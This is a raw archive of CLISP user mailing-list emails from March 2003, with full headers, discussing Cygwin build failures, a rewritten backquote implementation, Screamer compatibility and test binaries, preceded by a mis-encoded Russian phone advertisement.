  • òÁÚÍÅÒÙ: 123È48È29 ÍÍ
  • ÷ÅÓ: 110 Ç.
  • ÷ÒÅÍÑ ÒÁÂÏÔÙ:
    (Li-Ion 900 mAh)
    - ÷ ÒÅÖÉÍÅ ÏÖÉÄÁÎÉÑ: ÄÏ180 ÞÁÓÏ×
    - ÷ ÒÅÖÉÍÅ ÒÁÚÇÏ×ÏÒÁ: ÄÏ 180 ÍÉÎÕÔ
  • GPRS
  • ã×ÅÔÎÏÊ ÄÉÓÐÌÅÊ
  • ðÏÌÉÆÏÎÉÞÅÓËÉÅ ÍÅÌÏÄÉÉ ×ÙÚÏ×Á
òÕÓÓÉÆÉÃÉÒÏ×ÁÎ, ÇÁÒÁÎÔÉÑ 1ÇÏÄ!   ÃÅÎÁ 129$
Ú×ÏÎÉÔÅ (095) 782-7080











****** 417596533 7ACFC04F-14ECDAC-46104AA9-6F425E50-5A0DBA1B From ampy@ich.dvo.ru Thu Mar 20 00:20:23 2003 Received: from chemi.ich.dvo.ru ([62.76.7.28]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18vvHb-0000J4-00 for ; Thu, 20 Mar 2003 00:20:15 -0800 Received: from KAVUN ([192.168.8.32]) by chemi.ich.dvo.ru (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id h2K8Hh514497; Thu, 20 Mar 2003 18:17:43 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <3734225834.20030320181848@ich.dvo.ru> To: Sam Steingold CC: "Yadin Y. Goldschmidt" , clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] help with compiling clisp cvs on cygwin In-reply-To: References: <9458609.1048073301@GOLDSCHMIDT.phyast.pitt.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 20 00:21:03 2003 X-Original-Date: Thu, 20 Mar 2003 18:18:48 +1000 Hello Sam, Thursday, March 20, 2003, 4:01:16 AM, you wrote: >> Is it possible to build clisp on cygwin? Sam> Yes! Alas! No! I haven't found the GC error which leads to SIGSEGV while loading compiler.lisp. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From sds@gnu.org Thu Mar 20 07:26:13 2003 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18w1vp-0003mt-00 for ; Thu, 20 Mar 2003 07:26:13 -0800 Received: from loiso.podval.org ([151.203.42.128]) by pop017.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030320152603.JIXL2095.pop017.verizon.net@loiso.podval.org>; Thu, 20 Mar 2003 09:26:03 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2KFQvTx005236; Thu, 20 Mar 2003 10:26:57 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2KFQtCc005232; Thu, 20 Mar 2003 10:26:55 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Arseny Slobodjuck Cc: "Yadin Y. Goldschmidt" , clisp-list@lists.sourceforge.net Subject: Re: Re[2]: [clisp-list] help with compiling clisp cvs on cygwin References: <9458609.1048073301@GOLDSCHMIDT.phyast.pitt.edu> <3734225834.20030320181848@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3734225834.20030320181848@ich.dvo.ru> Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop017.verizon.net from [151.203.42.128] at Thu, 20 Mar 2003 09:26:03 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 20 07:27:02 2003 X-Original-Date: 20 Mar 2003 10:26:55 -0500 > * In message <3734225834.20030320181848@ich.dvo.ru> > * On the subject of "Re[2]: [clisp-list] help with compiling clisp cvs on cygwin" > * Sent on Thu, 20 Mar 2003 18:18:48 +1000 > * Honorable Arseny Slobodjuck writes: > > >> Is it possible to build clisp on cygwin? > Sam> Yes! > Alas! No! I haven't found the GC error which leads to > SIGSEGV while loading compiler.lisp. ouch! 1. could you please build CLISP from CVS head and make a binary release for Yadin? 2. can you build with g++ and track down the bug? what is the show-stopper? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Garbage In, Gospel Out From kaz@footprints.net Thu Mar 20 08:02:45 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18w2Ug-0002Oc-00 for ; Thu, 20 Mar 2003 08:02:14 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18w2UB-0000TO-00; Thu, 20 Mar 2003 08:01:43 -0800 From: Kaz Kylheku To: Sam Steingold cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: New, from-scratch implementation of backquote. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 20 08:03:08 2003 X-Original-Date: Thu, 20 Mar 2003 08:01:43 -0800 (PST) On 19 Mar 2003, Sam Steingold wrote: > > Basically I have taken care of most of the first milestone already: > > optimization, proper i18n-able error messages using TEXT macro, > > system builds itself cleanly. What's left is beating up the backquote > > with lots of nasty test cases. > > let us stop here!!! I have a temporary home page for this mini-project now. http://users.footprints.net/~kaz/clisp-backquote-patch.html The current status is that we have an backquote implementation that seems to be reliable, and puts out good code. The destructive splicing syntax is supported in earnest, using translations to NCONC. All error messages are in TEXT macros, but some new text will require translation into foreign languages. > BTW, did you try some profiling? > E.g., try > (times (compile-file "compiler.lisp")) > with stock backquote and with your version. Not yet, but will do. I think that the backquote puts out pretty good code now, comparable with the original implementation. It's very similar, in fact, except that in some cases it outputs nested code, like: (cons 'a (cons 'b (append a (append b c)))) where the original implementation would put out: (list* 'a 'b (append a b c)) Profiling under CLISP shows that even for making a list of two cons cells, one call to list* with three arguments is slightly faster than two calls to cons, so this reduction appears worthwhile, and can be done by a trivial cleanup pass. I'm not too worried about the reader or macro-expansion speed, since normally a backquote is expanded just once, but the generated code may, in some contexts, be executed countless times, so it should be good. So what is left: - disabling `#1A... expansion. - i18n (need help with that, deferred) - complex test cases - profiling From jnswart@stargate.net Thu Mar 20 16:01:36 2003 Received: from smtp-int-01.mx.pitdc1.stargate.net ([206.210.69.149]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18w9yO-0004aI-00 for ; Thu, 20 Mar 2003 16:01:25 -0800 Received: (qmail 7115 invoked from network); 20 Mar 2003 23:54:05 -0000 Received: from unknown (HELO stargate.net) (208.40.143.189) by smtp-int-01.mx.pitdc1.stargate.net with SMTP; 20 Mar 2003 23:54:05 -0000 Message-ID: <3E7A549C.5000308@stargate.net> From: Nico User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.1) Gecko/20021207 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] Screamer and CLisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 20 16:02:03 2003 X-Original-Date: Thu, 20 Mar 2003 18:54:04 -0500 Has anyone ever had success with Screamer on CLisp (on any platform)? I have problems on NT (various errors) and FreeBSD. The common problem seem to be inadequate stack, i.e: *** - Lisp stack overflow. RESET, when compiling. Thanks Nico. From sds@gnu.org Thu Mar 20 18:22:59 2003 Received: from pop018pub.verizon.net ([206.46.170.212] helo=pop018.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18wCBP-00027B-00 for ; Thu, 20 Mar 2003 18:22:59 -0800 Received: from loiso.podval.org ([151.203.42.128]) by pop018.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030321022253.WTMJ6884.pop018.verizon.net@loiso.podval.org>; Thu, 20 Mar 2003 20:22:53 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2L2NnTx007331; Thu, 20 Mar 2003 21:23:49 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2L2Nmlg007327; Thu, 20 Mar 2003 21:23:48 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Nico Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Screamer and CLisp References: <3E7A549C.5000308@stargate.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3E7A549C.5000308@stargate.net> Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop018.verizon.net from [151.203.42.128] at Thu, 20 Mar 2003 20:22:52 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 20 18:23:03 2003 X-Original-Date: 20 Mar 2003 21:23:48 -0500 > * In message <3E7A549C.5000308@stargate.net> > * On the subject of "[clisp-list] Screamer and CLisp" > * Sent on Thu, 20 Mar 2003 18:54:04 -0500 > * Honorable Nico writes: > > Has anyone ever had success with Screamer on CLisp (on any platform)? the one at appears to require much updating (e.g., cl:special-form-p is gone &c) the package appears to be lacking maintenance and ripe for inclusion into CLOCC. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux The paperless office will become a reality soon after the paperless toilet. From yadin+@pitt.edu Thu Mar 20 18:58:18 2003 Received: from mb1i0.ns.pitt.edu ([136.142.186.35]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18wCjZ-00088b-00 for ; Thu, 20 Mar 2003 18:58:17 -0800 Received: from yadin-nb ([136.142.22.1]) by pitt.edu (PMDF V5.2-32 #41462) with ESMTP id <01KTRH1JNYIE007L1P@mb1i0.ns.pitt.edu> for clisp-list@lists.sourceforge.net; Thu, 20 Mar 2003 21:57:58 EST From: "Yadin Y. Goldschmidt" Subject: Re: [clisp-list] help with compiling clisp cvs on cygwin Originator-info: login-id=yadin; server=imap.pitt.edu To: clisp-list@lists.sourceforge.net Message-id: <5727776.1048197477@yadin-nb> MIME-version: 1.0 X-Mailer: Mulberry/2.2.1 (Win32) Content-type: text/plain; charset=us-ascii; format=flowed Content-disposition: inline Content-transfer-encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 20 18:59:02 2003 X-Original-Date: Thu, 20 Mar 2003 21:57:57 -0500 Hi Arseny, Thank for your reply. I tried to uninstall libiconv but it does not help. I am still unable to compile sucessfully. As per Sam's request could you compile it from cvs head and send binaries to me or post them on sourceforge or somewhere? I would appreciate, TIA, Yadin. From ampy@inbox.ru Fri Mar 21 06:02:44 2003 Received: from mx6.mail.ru ([194.67.57.16]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18wN6X-0000qq-00 for ; Fri, 21 Mar 2003 06:02:41 -0800 Received: from [212.16.207.156] (port=1469 helo=ppp156-AS-5.vtc.ru) by mx6.mail.ru with esmtp id 18wN6T-0009AS-00; Fri, 21 Mar 2003 17:02:38 +0300 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1765461312.20030322000642@inbox.ru> To: "Yadin Y. Goldschmidt" CC: clisp-list@lists.sourceforge.net In-reply-To: <5727776.1048197477@yadin-nb> References: <5727776.1048197477@yadin-nb> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] win32 cvs head binaries Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 21 06:03:07 2003 X-Original-Date: Sat, 22 Mar 2003 00:06:42 +1000 Hello Yadin, Friday, March 21, 2003, 12:57:57 PM, you wrote: > As per Sam's request could you compile it from cvs head and send binaries > to me or post them on sourceforge or somewhere? I uploaded freshly compiled win32 binaries to sourceforge (clisp-2.30.1-win32.zip) - please try it. -- Best regards, Arseny From sds@gnu.org Fri Mar 21 06:29:55 2003 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18wNWr-0007hA-00 for ; Fri, 21 Mar 2003 06:29:53 -0800 Received: from loiso.podval.org ([151.203.42.128]) by pop016.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030321142947.UIPT8278.pop016.verizon.net@loiso.podval.org>; Fri, 21 Mar 2003 08:29:47 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2LEUiTx009458; Fri, 21 Mar 2003 09:30:45 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2LEUixd009454; Fri, 21 Mar 2003 09:30:44 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Arseny Slobodjuck Cc: "Yadin Y. Goldschmidt" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] win32 cvs head binaries References: <5727776.1048197477@yadin-nb> <1765461312.20030322000642@inbox.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1765461312.20030322000642@inbox.ru> Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop016.verizon.net from [151.203.42.128] at Fri, 21 Mar 2003 08:29:46 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 21 06:30:08 2003 X-Original-Date: 21 Mar 2003 09:30:43 -0500 > * In message <1765461312.20030322000642@inbox.ru> > * On the subject of "[clisp-list] win32 cvs head binaries" > * Sent on Sat, 22 Mar 2003 00:06:42 +1000 > * Honorable Arseny Slobodjuck writes: > > Friday, March 21, 2003, 12:57:57 PM, you wrote: > > > As per Sam's request could you compile it from cvs head and send binaries > > to me or post them on sourceforge or somewhere? > I uploaded freshly compiled win32 binaries to sourceforge > (clisp-2.30.1-win32.zip) - please try it. let us not mix stable releases and ad hoc binaries. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Yeah, yeah, I love cats too... wanna trade recipes? From sds@gnu.org Fri Mar 21 06:32:54 2003 Received: from pop018pub.verizon.net ([206.46.170.212] helo=pop018.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18wNZm-0008U0-00 for ; Fri, 21 Mar 2003 06:32:54 -0800 Received: from loiso.podval.org ([151.203.42.128]) by pop018.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030321143246.CHUZ6884.pop018.verizon.net@loiso.podval.org>; Fri, 21 Mar 2003 08:32:46 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2LEXiTx009465; Fri, 21 Mar 2003 09:33:44 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2LEXii6009461; Fri, 21 Mar 2003 09:33:44 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Yadin Y. Goldschmidt" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] help with compiling clisp cvs on cygwin References: <5727776.1048197477@yadin-nb> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5727776.1048197477@yadin-nb> Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop018.verizon.net from [151.203.42.128] at Fri, 21 Mar 2003 08:32:46 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 21 06:33:18 2003 X-Original-Date: 21 Mar 2003 09:33:44 -0500 > * In message <5727776.1048197477@yadin-nb> > * On the subject of "Re: [clisp-list] help with compiling clisp cvs on cygwin" > * Sent on Thu, 20 Mar 2003 21:57:57 -0500 > * Honorable "Yadin Y. Goldschmidt" writes: > > Thank for your reply. I tried to uninstall libiconv but it does not help. > I am still unable to compile sucessfully. Yadin, you reported a bug with type.lisp and encodings. we need to figure out which encodings do not work. please remove libiconv and try the patch I send you. the warnings should tell you which encodings are missing. thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux cogito cogito ergo cogito sum From yadin+@pitt.edu Fri Mar 21 07:22:13 2003 Received: from mb1i0.ns.pitt.edu ([136.142.186.35]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18wOLT-0003EY-00 for ; Fri, 21 Mar 2003 07:22:11 -0800 Received: from GOLDSCHMIDT.phyast.pitt.edu ([136.142.111.76]) by pitt.edu (PMDF V5.2-32 #41462) with ESMTP id <01KTS7105L2C007GWW@mb1i0.ns.pitt.edu> for clisp-list@lists.sourceforge.net; Fri, 21 Mar 2003 10:21:58 EST From: "Yadin Y. Goldschmidt" Subject: Re: [clisp-list] win32 cvs head binaries In-reply-to: Originator-info: login-id=yadin; server=imap.pitt.edu To: sds@gnu.org, Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Message-id: <1779328.1048242117@GOLDSCHMIDT.phyast.pitt.edu> MIME-version: 1.0 X-Mailer: Mulberry/2.2.1 (Win32) Content-type: text/plain; charset=us-ascii; format=flowed Content-disposition: inline Content-transfer-encoding: 7bit References: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 21 07:23:02 2003 X-Original-Date: Fri, 21 Mar 2003 10:21:57 -0500 Hello Arseny and Sam, Thank you for your effeort but the binaries don't work: A box opens which says that lisp.exe encountered a problem and needs to be closed. This is on a Win XP box. (BTW I really need cygwin binaries not win32 binaries since I need to compile maxima to run in bash and win32 binaries don't understand cygwin paths, I know that from previous win32 releases). I will try again to track the type.lisp problem. The problem is that when I remove libiconv the compilation fails even before it gets to type.lisp It failes when loading a previous .lisp file, I forgot which (maybe places.lisp). Also when I compiled libiconv myself and installed it also failes on loading one of the previous files. So it does not even get to your patched file. It failed with signal 11. I compiled libiconv from the original sources, I will try again to recompile from cygwin source but I don't have too much time to spend on this. If I make any progress I will report. Thanks, Yadin. --On Friday, March 21, 2003 9:30 AM -0500 Sam Steingold wrote:r >> * In message <1765461312.20030322000642@inbox.ru> >> * On the subject of "[clisp-list] win32 cvs head binaries" >> * Sent on Sat, 22 Mar 2003 00:06:42 +1000 >> * Honorable Arseny Slobodjuck writes: >> >> Friday, March 21, 2003, 12:57:57 PM, you wrote: >> >> > As per Sam's request could you compile it from cvs head and send >> > binaries to me or post them on sourceforge or somewhere? >> I uploaded freshly compiled win32 binaries to sourceforge >> (clisp-2.30.1-win32.zip) - please try it. > > let us not mix stable releases and ad hoc binaries. > > > -- > Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux > > > Yeah, yeah, I love cats > too... wanna trade recipes? --------------------------------------------------------------------------- Yadin Y. Goldschmidt voice: (412)624-9024 Professor of Physics fax: (412)624-9163 Dept. of Physics and Astronomy http://www.pitt.edu/~yadin University of Pittsburgh mailto:yadin@pitt.edu Pittsburgh PA 15260 --------------------------------------------------------------------------- From sds@gnu.org Fri Mar 21 07:39:48 2003 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18wOGv-0002Ki-00 for ; Fri, 21 Mar 2003 07:17:29 -0800 Received: from loiso.podval.org ([151.203.42.128]) by pop015.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030321151722.BHYR14460.pop015.verizon.net@loiso.podval.org>; Fri, 21 Mar 2003 09:17:22 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2LFIKTx009555; Fri, 21 Mar 2003 10:18:20 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2LFIKCH009551; Fri, 21 Mar 2003 10:18:20 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: clisp-list@sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Message-ID: Lines: 8 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop015.verizon.net from [151.203.42.128] at Fri, 21 Mar 2003 09:17:22 -0600 Subject: [clisp-list] CLISP GUI: japi Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 21 07:40:02 2003 X-Original-Date: 21 Mar 2003 10:18:20 -0500 japi appears to be an easy way to get a GUI. any volunteers to make a CLISP module based on it? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Don't use force -- get a bigger hammer. From sds@gnu.org Fri Mar 21 08:06:57 2003 Received: from out003pub.verizon.net ([206.46.170.103] helo=out003.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18wP2n-0004z7-00 for ; Fri, 21 Mar 2003 08:06:57 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out003.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030321160646.YKCY3697.out003.verizon.net@loiso.podval.org>; Fri, 21 Mar 2003 10:06:46 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2LG7iTx009820; Fri, 21 Mar 2003 11:07:44 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2LG7eJb009816; Fri, 21 Mar 2003 11:07:40 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Yadin Y. Goldschmidt" Cc: Arseny Slobodjuck , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] win32 cvs head binaries References: <1779328.1048242117@GOLDSCHMIDT.phyast.pitt.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1779328.1048242117@GOLDSCHMIDT.phyast.pitt.edu> Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out003.verizon.net from [151.203.42.128] at Fri, 21 Mar 2003 10:06:46 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 21 08:07:10 2003 X-Original-Date: 21 Mar 2003 11:07:40 -0500 > * In message <1779328.1048242117@GOLDSCHMIDT.phyast.pitt.edu> > * On the subject of "Re: [clisp-list] win32 cvs head binaries" > * Sent on Fri, 21 Mar 2003 10:21:57 -0500 > * Honorable "Yadin Y. Goldschmidt" writes: > > (BTW I really need cygwin binaries not win32 binaries since I need to > compile maxima to run in bash and win32 binaries don't understand > cygwin paths, I know that from previous win32 releases). I think I made CLISP win32 understand cygwin paths. see `*device-prefix*' in config.lisp. > I don't have too much time to spend on this. I understand. > If I make any progress I will report. thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux All extremists should be taken out and shot. From sds@gnu.org Fri Mar 21 08:42:59 2003 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18wP0u-0004hC-00 for ; Fri, 21 Mar 2003 08:05:00 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out002.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030321160453.CMDD6546.out002.verizon.net@loiso.podval.org>; Fri, 21 Mar 2003 10:04:53 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2LG5pTx009813; Fri, 21 Mar 2003 11:05:51 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2LG5pD5009809; Fri, 21 Mar 2003 11:05:51 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: dan.stanger@ieee.org Cc: Subject: Re: [clisp-list] CLISP GUI: japi References: <3E7B34B4.D0B35B33@ieee.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3E7B34B4.D0B35B33@ieee.org> Message-ID: Lines: 43 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out002.verizon.net from [151.203.42.128] at Fri, 21 Mar 2003 10:04:53 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 21 08:43:21 2003 X-Original-Date: 21 Mar 2003 11:05:51 -0500 > * In message <3E7B34B4.D0B35B33@ieee.org> > * On the subject of "Re: [clisp-list] CLISP GUI: japi" > * Sent on Fri, 21 Mar 2003 08:50:12 -0700 > * Honorable 